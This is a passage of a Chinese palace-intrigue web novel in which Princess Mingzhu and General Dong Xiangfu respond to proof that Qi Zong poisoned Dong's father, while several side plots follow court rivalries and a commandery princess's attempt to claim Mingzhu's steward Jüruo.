鲜衣怒马的少年郎，浑身素白惨淡，肩上披挂的红英斗篷换成了粗糙麻布，他站在送葬队伍的前方，望着不知归途的路。
董家、北境，一夕之间，尽数压在少年的肩头。
十七岁的董向阜，沉默地背起重担，在世间纷扰中为自己寻一立足。
众人皆以为他是继任北境统帅的少将军，风光无限，可只有董向阜自己清楚，父亲的昔日旧部，那些叔伯平日对他宽慰厚待，其实内部早已纷争不休。
他们大多不愿听从一个毛头小子的号令，既然镇国公身故，那大家各凭本事，北境统领既为人臣，众人便不是什么世袭的家仆。
那些年，北境将领各执己见，四分五裂。
董向阜这才发现，北境将领之间，所谓牢不可破的万众一心，也只是听从于统帅的耳目，当他们认可的领袖失势，众人便会如蚁穴溃散。
齐铭将军死后，这块遮羞布其实已经摇摇欲坠，在镇国公身故后，才一览无余地显露在董向阜眼前。
唯一值得庆幸的是，大家对齐宗态度一致，那个颐指气使的无能之辈，最终未能插足北境边防。
与戎狄之间，除了素日的小打小闹，表面上风平浪静，实则在大梁每逢变动之际，对方总会伺机而动，而北境内部，武将们各自为营，军心不稳。
眼下，他需要一场胜仗，大梁也同样需要一场胜仗，让他得以收拢军心，让大梁在戎狄的骚扰试探中得以喘息。
可战争绝非儿戏，军火、粮草、战术，还有雷霆万钧的士气，缺一不可。
终于，他看到了转机。
“董向阜，我们找机会和戎狄打一仗吧，我发现他们那里有个好东西。”
自他们交好以来，这并非明珠长公主第一次口出妄言。
但唯这一次，他们不谋而合。
可董向阜自幼在北境，深知早已不复往昔，翟渠所谓的“各有掣肘”，不过是大梁靠恫吓和威势营造的假象，邦交互市也只是缓和的手段，若真刀真枪地打起仗来，北境讨不了便宜。
即便赢了，也将伤敌一千自损八百，最糟的结局，便是大梁百年来据守的北境防线被攻破。
所以，这一仗要打，却不能毫无顾忌，能在相持中迫使对手求和，冬季便是最佳时机，而他意料之外的是，长公主殿下为北境承诺的殊荣，竟一一兑现。
起初，此役背水一战，却又占尽天时、地利、人和。
明珠长公主站在将士们面前，宣告这是属于他们的英雄时代，台下，震耳的欢呼呐喊响彻云霄，他站在人后，看见了她眼中的兴奋，那是被声望唤醒的滚烫欲望。
他要娶她为妻的念头，愈发明确。
现如今，火油开采、制器成型，形势一片向好。
而眼前这一页页泛黄的纸，却犹如当头棒喝。
“我父亲……是被齐宗毒害身亡……”
董向阜恍若失神，口中反复咀嚼着这几个字。
这不争的事实摆在眼前，他只觉得气血上涌，一股滔天的怒意快要冲破心胸，不仅是因为父亲的枉死，更因为下毒的真凶居然是——
齐宗，那个渣滓烂人！！！
“竟然！竟然是他——！”
董向阜眼眶赤红，脖颈上青筋暴起。
“为北境抛头颅洒热血的将士，无一不以继承齐铭将军遗志为己任，他可是齐铭将军的亲儿子啊！通敌、迫害同胞！！如此卑劣下贱之举，他也做得出！！！”
身为将门之后，英灵遗志尚存，大梁百姓众擎共举，可他齐宗，忠于的又是什么，齐侯的世袭爵位有他，真是玷污了先辈的鲜血。
若齐铭将军泉下有知，该有多心寒……
董向阜手中紧攥着那几页口供，满目悲愤，明珠轻搭上他的手臂，想要安慰他，却不知如何开口。
看到对方关切的目光，董向阜稳住心神，哑声道，“抱歉，殿下，臣失态了。”
桌上那壶葛花贡菊茶还留有余温，明珠给他倒了一杯，董向阜饮下后，长吁一口气，气息稍缓。
“我原以为，他这等无能之辈，能安分守己，不插手北境军务，已实属不易，却没想到，他是闯下了塌天大祸，龟缩在京。
“听母亲说起过，以往齐家二儿子闯祸，都有齐夫人护着，纵得他无法无天，齐铭将军常年在外，连个管教约束他的人都没有。
“事到如今，竟到了这般地步。”
小时候有慈母护着，长大了由亲妹惠妃护着，齐家老二巨婴般的一生，若不叫他自食恶果，难道还要等到老了，被李凌霄接手看护的那天？
齐家的这颗毒瘤，越早拔除，对大家都好。
“这件事，有两条路。
“一，公之于众，彻查当年镇国公死因，由三司名堂会审，按律
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惩处。二，按兵不动，等齐宗自寻死路。”
以齐二的人性，哪怕是半身不遂，也不会就此息事宁人，安稳度日。
“臣知道，殿下是为了臣考虑，才有第二条路。”
若他将此事公开，将证据呈送陛下面前，换句话说，就是他董向阜要亲手将齐宗押上断头台，惠妃必然不会坐视不管，二皇子殿下亦是如此。
无论齐宗下场如何，他身为人臣，与得势皇子结怨，就意味着他将来一定要择他人为主，永远无法从夺嫡中抽离，持身中正。
“不仅如此，这件事情一旦揭开，董齐两家的恩怨再无法化解，那么之前齐铭将军牌位被毁，齐二被暗害这些事，不是你做的，也是你做的了。”
“……”
董向阜沉吟片刻。
“看来，殿下是想用我，保全松芜。”
若三王和齐家得知，他已知晓自己父亲死因，怕是要确信那些事是他所为。
移花接木这一招，被用在自己身上，董向阜难得身心挫败，他的确看轻了长公主对身边这些人的情谊，还自诩不会在抉择中被舍弃。
“将军，他们是我的家人，我会尽我所能守护好他们。”
闻言，董向阜深感诧异。
那个人何德何能受此眷顾，又转念一想，起码松芜对长公主殿下还算忠诚，有齐宗作例，他人人性都变得可圈可点。
“既然如此，至少在家父之事上，臣要一个公道。”董向阜跪拜道，“恳请殿下将口供和证物交给微臣，让微臣据悉呈送给陛下，还亡者清白。”
明珠摇了摇头。
“不，这件事由我来说，我来送齐宗上断头台。”
董向阜眉头皱起，不赞同她的想法，“可如此一来，齐家和惠妃难保不会记恨殿下，您何必——”
“在其他人眼里，你我是一条船上的人，由我揭开真相，虽不会显得格外公正，但有我这个中间人，将军与二皇子不发生正面矛盾，对你们双方都好。
“将军不必为我担心，我有自己的考虑，这件事，我一定办成。”
不仅是为了董向阜，为了真相，也是为了松芜。
可齐宗毕竟做了多年的齐侯，齐家的当家人，若执意杀了他，齐家不会善罢甘休，逼恶犬入穷巷，对于自己而言，也将是隐患。
唯一方案，就是先礼后兵。
“在此之前，我要在齐家扶持一个人。”
145.派对截胡，回家挨训
此刻，被齐家殃及的不止一人。
惠妃宫中，李凌霄跪在殿内，旁边的宫人们低着头，一方面碍于身份，另一方面也着实于心不忍。
齐家的姑娘们向家里告状，长公主府的请柬金贵，她们怎么求都求不来，平白在外受了不少委屈，惠妃听说后很是不满。
“她李凌月好大的架子，我齐家的姑娘参加什么宴席，那是给她颜面，她可倒好，仗着自己在宫外不受约束，拿乔摆做派！”
自从二皇子殿下回来，已被数落多时，有眼力见的宫人见惠妃伸手，忙奉上茶，借机替自家殿下开脱几句。
“娘娘息怒啊，你何苦与小辈置气，平白气坏了身子，这长公主的作风一贯无礼，咱们殿下也无能为力。”
惠妃瞥了眼对方，宫人见状，便不敢再多言。
“说到底，你的两位表妹也是因你和李凌月关系亲近，才给她几分薄面，她张狂也就罢了，你怎么能不体恤你的表妹们，害自家人受委屈。”
“母妃说的是，儿臣知错。”
李凌霄自知辩驳无用，垂着眼眸听训。
“你拉拢李凌月是为大局着想，可你要清楚，谁才是真正为你着想，李凌月虽为长公主，可她不止你一个兄弟，难保将来她不会背信弃义。”
这些话，李凌霄听着刺耳，却又无比熟悉，像是出现过千百遍，在他自己的心声里。
——她不止你一个兄弟。
咚。
石子落入深潭，激荡出隐秘其中的洞穴，里面藏着阴暗、难以示人的心事。
李凌霄微不可察地皱了皱眉头，他表面与她装得再亲近，也无法抵消昭然若揭的利用之意，这道隔阂难以跨越，大家彼此都心中有数。
他需要她，但她未必需要他。故而，在她面前，他和其他皇子并无不同，这一点，他打心底里认可，又排斥。
不愿放下疑心和算计的人，注定不会被信任，他心知肚明。
他们离得很近，又很远，即便身处咫尺之遥，也无法安心。在明珠身边时，李凌霄常没来由地心烦，忍不住想，若有朝一日，她站在了其他人身边……
“你舅舅和表妹们是你的至亲，血脉相连，齐家和你才是休戚相关、荣辱与共，切不能慢待他们。”惠妃耳提面命道。
“母妃所言，儿臣明白。”
亲缘、利益，有什么可以把一个人拴在身边。
藏起晦暗不明的思绪，李凌霄面上维持着恭敬。
“你要是有心，就该多去看看你舅舅，他如今身子不好，你是晚辈，就该去多照看，别成日一出宫就围着李凌月转，不像样。
“你如今年纪也不小了，不仅要学业上勤勉，更要懂得人情世故，不要什么都等到我来教。”
“是，儿臣谨记母妃教诲。”
惠妃将茶盏放下，这顿教训也差不多了。
“罢了，你起来吧。”
李凌霄起身，下人们也都松了口气，毕竟二殿下已近及冠之年，却还要和儿时一样，在她们这些下人面前受罚，属实有失自尊。
走出惠妃宫门，随从忙去传轿辇，李凌霄摆了摆手，示意用不着。
“我一个人走走。”
独自行走在石板路上，李凌霄负着手，步履沉稳。
膝盖处传来针扎似的细密痛楚，他习以为常，面上丝毫不显异样。
这偌大的宫城，仿佛又恢复旧日的冷漠和枯燥，他原本应习惯于此。
不知从何时起，偶尔会生出些莫名的期待，每日也会想到吃些什么、喝些什么，要带点甜滋味，要布两副碗筷。
不知不觉，眼前出现长公主宫的大门。
除了守门的零星宫人，里面再不见人影，李凌霄驻足在门前。
忽然，门那边传来声音。
“伊丽莎白！”
李凌霄一怔，迈步往里面探寻，却被守门的宫人拦下。
“二皇子殿下，您这是？”
李凌霄神色恢复如常，问道，“长公主在宫内吗？”
“回二殿下，今日乃是长公主府开府之日，我们殿下已不在宫里。”
没错，他才从宫外的长公主府回来不久，这时候，她怎么可能在宫内。
“伊丽莎白还在宫里？”
“在的。”
“它也被留下了吗？”
“不是的。”宫人解释道，“我们殿下说伊丽莎白如今长得大了，它的院子也要改得宽敞些才好，等过几日再接它过去。”
李凌霄神色落寞。
“原来如此……”
长公主府中。
听了明珠的主意，董向阜无奈叹了口气。
“殿下若想在齐家扶持可塑之才，恐难以如愿。”
明珠疑惑道，“怎么，难
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不成一个能用的都没有？”
齐家在齐铭将军病逝后虽渐趋没落，然子孙繁盛，有四子一女，早亡的齐家长子齐宇，二子齐宗，三子齐寅，四子齐宣，小女儿齐婉，也就是如今的惠妃。
其孙辈，嫡子庶子更是枝繁叶茂，大多也都成年，和董向阜年纪相仿，皆籍籍无名，除了捅娄子的时候。
“齐铭将军在军中威望甚高，倘若有一人可继承其衣钵，则大有出头之日，可惜，齐家老夫人在齐家长子身故后，便决意不会再让任一子孙上战场。
“更何况，习武之人当磨砺心性，锦衣玉食供养起来的人，怎可忍受沙场狼烟的摧残。”
早些年，齐家便有弃武转文的打算，齐家子弟也都不专武事，一心考取利禄功名，不过未见成效，便在家中安排下，择些个闲差，逍遥度日。
“那女眷呢？”明珠问道，“一般来说，这种武将家的女儿们通常耳濡目染，性格自信强势些，行事也与众不同。”
“殿下是说惠妃娘娘？”
“……”明珠倒吸一口凉气，拨浪鼓似的摇着脑袋，“还有别的人选吗？”
“齐家的女眷臣未曾了解，没什么印象。”董向阜思忖片刻，斟酌道，“不过，有一人，与臣还算有些交际。”
“谁？”
“是臣师出同门的师妹，齐家四子齐宣的独生女儿——齐行遥。”
“她也是司徒大统领的徒弟？”
“没错，十三岁之前，臣在京中受教于司徒师父，齐行遥也在，当时约莫八九岁。”
起初，他十分好奇，为何齐家来了一个女娃娃习武。
可每次开口，对方都爱搭不理，热脸贴冷屁股，对练时，她总不是自己的对手，落败后就沉默走开，久而久之，他也不怎么和这个师妹说话。
同父亲前往北境后，他们便没了联系。
早前回京，听师父提起过，说齐家老夫人对其习武之事颇有微词，也因此，齐行遥闭门不出，他们也再未见过面。
明珠惊讶于齐家那个草包堆里，一个女孩子家有此等觉悟和见地，可见一斑。
“她是个什么样的人？”
“齐行遥，性子沉静、倔强，虽是女子，却不服输，往日对练时，她屡战屡败、屡败屡战。”
劲风无荣木，此荫独不衰。
明珠决定，要找机会见一见这位小师妹。
146.尚书家里来了熊亲戚
夜色渐浓，宴席散场。
苏家大丫鬟漱玉急匆匆来报信，苏景荷一听，竟是二婶婶家的小女儿闯了祸。
原本这家算是苏父的堂兄弟一支，仕途不兴，而从商贾，买卖日益做大，日常出入穿金带银，财大气粗，好不惹眼。
苏父在官场做事，不便与其过从亲近，两家除了年节下的例礼，并无往来。
这苏二夫人听说她这个大侄女与长公主交好，想借机搭上月记的生意，故而大老远赶来，还想叫自家大女儿跟着，装作侍女混进长公主府，在长公主面前讨个好。
被婉拒后，苏母出于好意，留对方在京住些时日，没想到苏景荷外出赴宴期间，她的这位三堂妹居然将她心爱的琉璃杯盏打碎了。
“那是殿下送我的生辰礼，怎么能随意拿来给她玩闹！”
苏夫人知道这是长公主所赠，自己女儿平日又宝贝得很，本不予答应，对方却是个不知礼数的。
“夫人拦了，说那是小姐的东西，不好乱动，二夫人却说小孩子瞧着好看，拿近看看就还回来，谁知道三小姐手快一步，又没拿稳，就这么……碎了。”
丫鬟只挑了些能说的说，其实这位二夫人自从被小姐婉拒后，便露出另一副嘴脸来，私下瞧着府里这个也碍事，那个也不顺眼。
今日便是她家那个小女儿哭闹着，要在小姐房中玩，还一眼看中了多宝阁上摆着的琉璃杯盏，夫人怕小孩子乱动小姐东西，忙道那是长公主殿下恩赐。
那二夫人一听就不乐意了，登时新账旧账一起算。
说既然与长公主关系亲近，帮衬下亲戚不过是捎带手的事儿，却也推三阻四的，苏家祖父告老还乡后，他们这些亲戚没少看望，苏父如今位列尚书，官升仕途靠的都是老家人的香火供起来的青烟，不该忘了本。
还说她们虽是老家来的，可什么好东西没见过，几个杯子也值得这么小气。
一句接着一句，明里暗里地贬损。
听得在旁的下人都直皱眉头，夫人倒没往心里去，一心只想着别把自家女儿的东西碰坏，刚想劝小孩子几句，谁承想小孩子闹脾气，将紧里面的杯盏夺下来，连带着其他几个都被殃及，磕碰摔倒在一起，碎了遍地。
“她们怎么能这样，小孩子不懂事，二婶婶也不懂嘛！”
“景荷。”苏怀安小声制止道。
到底是长辈，不可随意指责，坏了礼数。
话虽如此，苏怀安也心有不悦，平白叫妹妹受此委屈，还是早些送客为好。
“发生什么事了？”
明珠一走近，就见苏景荷手绞着帕子，满脸委屈，看到她来了，眼眶骤然红了。
“殿下……”
“这是怎么了？”
明珠快步走过去，拉起苏景荷的手，俯身去看她。
“怎么哭了？”
“……”苏景荷垂着眼眸，哽咽道，“殿下恕罪，您送我的那套琉璃杯盏碎了。”
皇室赠物受损，长公主虽不会怪罪，但若是传扬出去，到时候对二婶婶家的小女儿就不好了，故而苏景荷未将此事悉数告知。
“唉，我当是什么呢。”明珠松了口气，安慰道，“碎碎平安嘛，你若喜欢，我再送你就是，别伤心了。”
一旁，丫鬟漱玉欲言又止，瞟见自家少爷的眼色后，又将话咽了回去。
今夜明珠本想邀苏景荷留宿，因苏景荷心系碎掉的琉璃杯盏，又怕家里出什么差错，只得和兄长一同告辞。
临行前，明珠避开众人，眼神示意了下对方，对方心领神会，跟着她来到一旁。
“你说实话，到底发生什么了？”明珠问道。
方才她就察觉气氛不对，猜测此事没这么简单。
漱玉私心不愿自家小姐白白受此委屈，便开口道，“回殿下，是住在府上的亲戚胡搅蛮缠，她家的孩子摔碎了小姐的那套琉璃杯盏。”
“难怪。”
景荷承袭父母心性，宽仁友善，若非触及底线，轻易不会使人难堪，今夜想必是委屈极了，却也没有告诉她实情。
“景荷心软，不愿为难，那就让我来计较吧。”
明珠派人取来一樽琉璃花瓶，此花瓶瓶身不大，通体幻彩渐变，华丽非常，装盒交给漱玉，叫她回去替换。
“小孩子若爱砸人东西，便让她砸。”明珠瞥了眼盒子，淡然道，“捅了天大的篓子，自然要学会自己担待。”
众人辞去，片刻后，夜晚回归宁静。
“殿下可要安寝？”侍女问道。
“没事，你们去吧，我等人。”明珠打着哈欠，说道。
院中，明珠独自坐着，身前的矮桌上摆着董向阜和李凌煜的棋局。她埋起头来，细细观察，董向阜棋风一向如此，倒是李凌煜，令人捉摸不透。
形势散而不破，虽为败局之象，可该守好的阵地，却也牢牢掌握在自己手中。
围棋，明珠并不精于此，只知道，棋风如人。
人若冒进、笨拙，不懂瞻前顾后，那他即便悔棋百招，也是漏洞百出；而人若谨慎细致，哪怕他的棋力不高，也能为自己夺得几分生机。
收起黑子，棋盘中白子尽显。
李凌煜这个人，
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他的野心停留在何处，是败局既定的守拙，还是棋局之外，不为人知的成算……
想着想着，意识便进入了梦乡。
廊下空旷，耳边传来阵阵虫鸣，一人轻手轻脚地走近，来到明珠的躺椅旁。
幽微香气在鼻尖飘过，身上多了条薄毯，明珠微微睁开眼睛。
见她醒了，菊若顺势在躺椅旁坐下，伏在对方的臂弯处。果然，殿下抬起手，揉了揉她的头。
“殿下，怎么不回房中睡。”
“想等你回来，没想到睡着了。”
听罢，菊若捂起脸颊，面上却藏不住笑意，她许久没有这般开心了，自从她离宫经营醉仙楼，便与殿下相隔，偶尔才能见一次面。
如今有殿下等着她回家，仿佛泡在蜜罐中似的。
兄长业已成年，不可能和殿下同居一处，更何况他在外身份成谜，若与长公主府来往过密，未免惹人怀疑。
偌大的府邸就只有她和殿下两人，不对，还有一个扫兴的家伙，整日神出鬼没。
灯火下，明珠注意到菊若面容稍显疲倦。
“累了吧。”
“酒楼生意红火，忙些也好为殿下分忧。”菊若如此说道。
今日，三王家的郡主又派人请她，说是请，却有些蛮横的意味。
从长公主设府之日起，她和郡主就再没见过面，如今殿下独立出来，她哪里还有心思应付对方。
借口长公主开府事忙，屡次推脱，毕竟她身为长公主的家仆，理应尽职尽责，纵使郡主那边不乐意，也无话可说。
郡主身份尊贵，一贯要风得风、要雨得雨，这些日子屡遭拒绝，有些沉不住气了。
也怪她当初，只想叫对方上钩，却不曾想，钩子勾得过深，拔出不易，大鱼咬着钩，怕是要她也拖进水里。
菊若暗自思忖，得找个机会见一面，否则还不知道要闹到何时。
“怎么了，”明珠问道，“心不在焉的，有什么事吗？”
“没什么……”
“有什么事一定要跟我说，知道吗。”明珠捏了捏菊若的脸颊，说道，“无论什么，万事有我呢。”
这句话，令菊若回想起了，自己当年出宫的时候。
殿下曾说，这世间女子安身立命的东西太少，殿下不求自己为他人挣得什么，而是希望她能为她自己搏一条出路。
“所谓商人，通过交易将资源置换、整合，将一切握在手中的资源，发挥效用，它也许是商品、商路，或是信息、人脉，我会尽我所能为你们提供条件。
“不要怕，万事有我。”
147.有人挖墙脚
清晨，菊若凑近床榻跟前，床上之人正抱着软枕酣睡。
她昨夜却没睡好，敷了粉才遮住眼下的乌青，不怪别人，殿下和她一墙之隔，她满心焦躁欣喜，翻来覆去睡不安稳。
见明珠睡得毫无察觉，菊若垂眸浅笑，伏在床边，用指尖细细描着她的轮廓。
这个人，是救她出苦海的恩人。
她原以为自己这辈子，或生或死，都不得善终。
从小学着卖弄取悦的舞姿，勾人的轻佻眼神，在诱人遐想的肌肤上画满花箔，熏着催情的香，叫人身上一阵发热，一阵泛凉。
孩童的她懵懂地接受着这一切，不明白兄长为何要拼了命逃出去，若是被抓住还会被毒打，棍子落在兄长身上时，她跪在地上求饶，说再也不逃了。
久而久之，她习惯了这里，至少能吃得饱，能穿漂亮衣裳，她学得好，老鸨妈妈还会夸奖她，给她点心吃。
直到那双肥硕的手强拽起她的胳膊，她才如梦初醒，意识到自己将要面临什么，她哭喊着，求救着，挣脱不开，周围人投来或冷漠、或同情、或幸灾乐祸的目光。
她好害怕，她不要待在这个地方，她想回家。
就算是回到那个破旧的老屋，穿着麻布短衣，就算是去山间挖野菜、搬石头，围着土炕吃饭，就算是……
什么都好，只要、只要有人能救她。
眼泪浸湿了脸颊，混着脂粉，留下一条条泪痕。
“放开她！”
耳边传来声音，泪水早已模糊视线，她看不清那道身影。
忽然，她被拉进一个柔软的怀抱中，那么温暖，那么干净，带着茉莉花的淡淡气息。
是神仙来救她了吗？
自己，还能得救吗？
火光在眼中跳跃着，他们的贱籍被买断，当场烧为灰烬。
束缚着她的枷锁，就这样，破开了。
“你叫什么名字啊？”
“……奴家不喜欢自己的名字。”
阿莲，原本是家乡人对她的称呼。
后来，变成了她的花名，也变成了她最深恶痛绝的名字。
很多人喊过她这个名字，父亲、老鸨、嫖客，她也将这个名字告诉给了郡主，并非对方所想的亲昵之举，而是这些人注定会被她舍弃。
眼前这个人，却不同。
指尖触及着对方的鼻尖和眼尾，蜻蜓点水般，留下一丝痴念。
待明珠醒来时，幔帐被人放下，遮住了外面刺眼的光。
“谁这么贴心。”
明珠伸了个懒腰，慢慢悠悠起身。
长公主府门外，来了一位不速之客。
长公主府的侍卫原皆在北境驻扎，于戎狄一役中崭露头角，此番调任京中，担任长公主府的侍卫之职，不太清楚马车的等级规制，直猜其主人身份尊贵非常。
待人从马车上下来，大摇大摆走到阶前，见状，侍卫们上前阻拦。
“不知这位小姐是哪家，可有拜帖？”侍卫长问道。
李杉目不斜视，只淡淡扫了一眼头顶的匾额。一旁，郡主的贴身大丫鬟香菱语气不善。
“有眼无珠的东西，连郡主都不识得，你们怎么在京城当的差！”
“啊，郡主恕罪。”侍卫长拱手道，“卑职等人都是从北境调任，初到京中任职，若有得罪，还望郡主见谅。”
“我们郡主前来拜见长公主殿下，还不快进去通报。”
“不知郡主可有拜帖？”侍卫长问道。
“你……”香菱不可置信地看向对方，像瞧傻子似的，“三王府上的平宁郡主前来登门，你竟然要拜帖？！”
从未听说过谁家敢对三王府这般放肆，纵然是长公主，架子未免也端得太大了吧。
不仅要不来开府的请柬，现如今还管她们要什么劳什子拜帖，这简直是要和三王府对着干。
“你不如先进去通报一声，再来回话。”香菱颇为不耐道，“一个小小侍卫，狗仗人势，还对着三王府拿乔，若叫长公主殿下知道你问郡主要拜帖，仔细你的脑袋！”
闻言，侍卫长皱起眉头，他不清楚其中门道，只是按规矩办事，却不想对方如此咄咄逼人。
三王府确实权势滔天，他们不想给长公主殿下惹麻烦，便忙进府禀报。
长公主府，卧房内。
侍女传话，说郡主前来拜见。
“郡主？”明珠撂下擦脸的手巾，疑惑道，“哪个郡主？”
“是三王府中的平宁郡主。”
“噢。”听到三王，明珠不禁警惕，“她来拜访……”
昨日景荷提起时，她便心有疑惑，这位郡主她没什么印象，从前三王一向
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看不上自己，他家的女儿也与自己素无交际。
无事不登三宝殿，郡主不请自来，想必不会是问安道贺这般简单，是为了她自己，还是三王？
不过，既然来了，也不必无故谢客。
侍女望了眼门外，不安道，“还有，侍卫长在外向殿下请罪，说他阻拦郡主登门，还要对方出示拜帖，属实不敬。”
“这不是正规流程吗，不敬什么，她是天王老子，拦不得？”
侍女被明珠的话逗笑，也替侍卫长松了口气，自己在京多年，自然清楚郡主身边那个大丫鬟厉害，指不定说什么难听话呢。
“你让他起来吧。”明珠换着外衣，沉声道，“跟他说，他做的没错，在长公主府做好本职工作就好，不需要看任何人的脸色。”
片刻，茶沏上桌。
“近日听闻殿下乔迁新居，小女本该前来道贺，可惜未曾受邀，恐唐突登门不便，故而今日前来，不想，又坏了长公主府上的规矩，还望殿下见谅。”
“郡主这是哪儿的话，”明珠莞尔一笑，说道，“下次注意就行。”
“……”
郡主身后的丫鬟刚想开口说些什么，被郡主的眼神止住。
明珠装作没看见，自顾自喝着茶。
这京中，被娇养长大的大小姐们，有一个特性，表面上纤纤弱质，连个大声说话的都没有，可言谈间，却有着隐藏不住的傲慢。
方才郡主那番话，明着是谦卑致歉，话外之音却尽是责难，不仅当面提及未被受邀之事，还暗讽长公主府规矩大，登门接二连三受阻。
不过，明珠懒得迁就体面，开门见山道，“不知郡主前来，所为何事啊？”
郡主沉吟片刻，说道，“不瞒殿下，小女今日前来确实有一事，有求于您，却也不是什么大事，想必殿下不会为难。”
话虽如此，对方却没有接着往下说，而是笃定地看向明珠。
怎么，这是打算要她先客气一番，给个承诺？
“你先说说看，我再想为不为难。”
才不上当呢。
郡主那边明显脸上有些挂不住了，因有求于人，不得不摆出姿态。
“小女是想跟殿下要个人。”
“要个人？”明珠纳闷道，“谁？”
“醉仙楼的掌柜，何莲姑娘。”
148.后院起火
醉仙楼中，菊若忽觉一阵恶寒。
“怎么了，掌柜的？”
“……”菊若蹙眉道，“兴许是天凉了。”
与此同时，长公主府中。
郡主那边话音刚落，堂外随行的丫鬟便鱼贯而入，所持匣子里面装着的，则是各式珠宝玉器，亮得晃眼。
大丫鬟香菱将最后的锦匣打开，里面摆着一只种水极佳的翡翠镯子，由翠转紫，三色齐全，也被呈送至明珠面前。
扫了一眼面前堆满的名贵宝物，明珠撂下手中的茶盏。
“郡主，这是何意啊。”
富婆挖墙角，挖到家里来了？
“小女知道，殿下产业皆由何莲姑娘打理，长公主府也经她一手操办，正巧，小女身边就缺了一位这样细心周到的女使。
“殿下若肯，小女愿为殿下招揽贤才，替她为殿下尽忠，定然不会误了殿下大事。”
郡主姿态从容，仿佛胜券在握。
“聊表心意，还望殿下不弃。”
明珠哼笑一声，冷道，“郡主是要让我家菊若舍弃现在的事业，去王府内宅做你的女使，不觉得荒谬吗？”
打小菊若性子就要强，也肯吃苦，平日里从不跟自己叫难，可明珠知道，醉仙楼也好，月记也罢，走到今日殊为不易。
这些年菊若的辛劳付出，在其中倾注的心血，绝非寥寥几笔能轻易盖过，岂是这几个匣子换得起的。
“郡主带着这些东西上门，是觉得凭这些，能从我这儿将人——买走吗？”
“不、不，我是真心的。”
一听这话，郡主也顾不得隐瞒，赶忙开口解释。
“小女与阿莲乃是至交，这些时日她在殿下身边，总也见不到。
“小女私心想着，殿下乃大梁长公主，身边可用之人颇多，并非非她不可，能不能……把她还给我。”
“？”
这……
这话听起来怎么这么别扭，自己像是在拆散什么苦命鸳鸯似的。
思及此，明珠不禁纳闷。
“你们，是什么关系？”
闻言，郡主陷入沉默。
她与阿莲的关系，不可叫旁人知晓，阿莲也曾几番叮嘱，在长公主殿下面前，绝不能提及她二人的关系。
思来想去，郡主开口道，“殿下有所不知，阿莲与我私交颇深。”
私交颇深？
倒是从未听菊若提起过，她和三王家的郡主有什么亲密联系，可瞧着郡主这含羞的神情，又不像是演戏。
“那你今日前来，想从我这儿要走她，这件事她知道吗？”明珠试探道。
郡主抿着下唇，犹豫着，吐出两个字。
“不知。”
还真是不出所料，想要什么就直接花重金买走，像是三王府一贯的做派。
郡主以为她不会为了一个手下人与其翻脸，能轻而易举达成所愿。
的确，倘若她顾及三王府的面子，成人之美，郡主便可对菊若先斩后奏，断了她的后路，叫人不得不依从。
菊若究竟是怎么招惹到这位千金大小姐，以至于对方不顾身份，纠缠到家里要人。
放眼京中，亦是闻所未闻。
“这样吧，此事你们还是彼此商量妥当为好，我家菊若向来自己做主，她的私事我不过问，至于她如何决定，我也不插手。
“不过，何去何从，希望郡主尊重她的意愿，她若是不愿，郡主也别为难她。”
“自然。”郡主神态恢复自如，笃定道，“有长公主这番话，小女就安心了，将来若有不便，有长公主成全的情面上，小女愿鼎力相助。”
哟，这么自信？
“那就请郡主将这些收回去吧。”
明珠示意了下面前眼花缭乱的金银珠宝，见郡主那边意图婉拒，她说道，“郡主若不带走，菊若回来，怕是以为自己的身家性命，已经被郡主暗自交易了。”
郡主一听，虽面色不佳，但还是命丫鬟们收回了，毕竟，从她手中送出去的东西被拒收，这还是头一遭。
“那我就不送了。”
待客人走远，明珠立马对身边人道，“快准备马车，去九方赌馆。”
一路上，明珠思绪不停。
倘若菊若有郡主这层关系，那当初郡主生辰宴，齐铭的牌位出现在三王府此事，想必菊若也参与其中。
定州刺杀一事，菊若会不会早已知晓，才和松芜串通一气。
若是如此，或许不该让郡主和菊若再接触，自己与三王注定水火不容，届时无论结局如何，她们两个都将难以面对彼此。
可瞧着郡主这样子，怕是不会轻易退让。
眼前，一双手晃悠着。
“你想什么呢？”
“！”明珠诧异道，“你什么时候跟着我的？”
“我一直跟着，”桑吉说道，“你被灌了迷魂汤了，这么魂不守舍。”
“倒希望被灌迷魂汤的是我，不是其他人……”
九方赌馆内。
明珠从后门入，叫人去寻了松芜，自己则在茶室等着，此事事关菊若私密，桑吉便被丢在外面候着。
秋风劲爽，梧桐叶泛黄，风拂过，落了满园，踩在脚下发出酥脆的声响。
不远处，一个清瘦白净的青年款款走来。
“你就是桑吉？”
闻声，桑吉抱着肩膀看向来人。
不知为何，他虽头一次见这人，却觉得不对付，这人脸上的笑瞧着也假惺惺的。
“
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没错，她叫我桑吉。”
“呵。”松芜面上含笑，淡淡道，“野狗就是野狗，以为跪地乞求便能博人怜悯，说到底，不过是施舍你一丝余光，别以为真能鸠占鹊巢。”
“那看来，你的位置被我占了呀。”桑吉挖苦道。
“无妨，‘鬼方祂’能死一次，就能死第二次。”
听到“鬼方祂”，桑吉骤然警惕，面色不善地盯着对方。
“你知道我是谁。”
“一条丧家犬，不是吗。”松芜嘲讽道。
“找死！”
桑吉刚想动手，门突然被里面的人推开，他动作一滞，对方却连躲都不躲。顿时，桑吉猜出他打的什么算盘，却来不及收力，拳头还是落在了松芜脸上。
“你们在干什么？！”明珠惊道。
一时间，桑吉无措地愣在原地。
“小姐恕罪，都是我不好，与桑吉弟弟初次相见，想着关心一番，却不想惹他不痛快了。”松芜抬眸，手捂着脸颊，楚楚可怜道，“小姐莫要怪罪桑吉弟弟，我……不疼的。”
“哈？！”桑吉瞪大眼睛，恼火道，“你——！”
他刚想开口，却又被松芜抢先。
“我知桑吉弟弟是无心之失，只是如此烈性，怕是待在小姐身边不妥，倘若有一天冲撞了小姐可如何是好。”
桑吉难得语塞，一双眼睛死死瞪着松芜。
“差不多得了。”明珠无奈打断，她自然清楚这两人是什么德行，对松芜说道，“你跟我进来。”
进门前，松芜不忘瞥了眼气急败坏的桑吉，桑吉冲他做了个抹脖子的动作。
——你等着。
松芜心中嗤笑，不以为然。
待松芜将门关好，发现明珠正站在他身后，一脸了然地看着他，松芜这才收起那副惺惺作态的模样。
明珠伸出手，戳了戳他被打的脸颊。
“你这算计自己人的毛病还不改？”
脸上传来一阵刺痛的酥麻，松芜僵直了身子，有些慌乱地抬了抬手指。
他垂着眼眸，小声道，“疼。”
“真疼？”明珠立刻收回手，关切道，“打的很重吗？”
见状，松芜笑道，“不疼，我装的。”
明珠没好气地白了他一眼，自顾自在桌旁坐下，松芜取来茶点端到她面前。
“小姐怎么忽然来了，是发生了何事吗？”
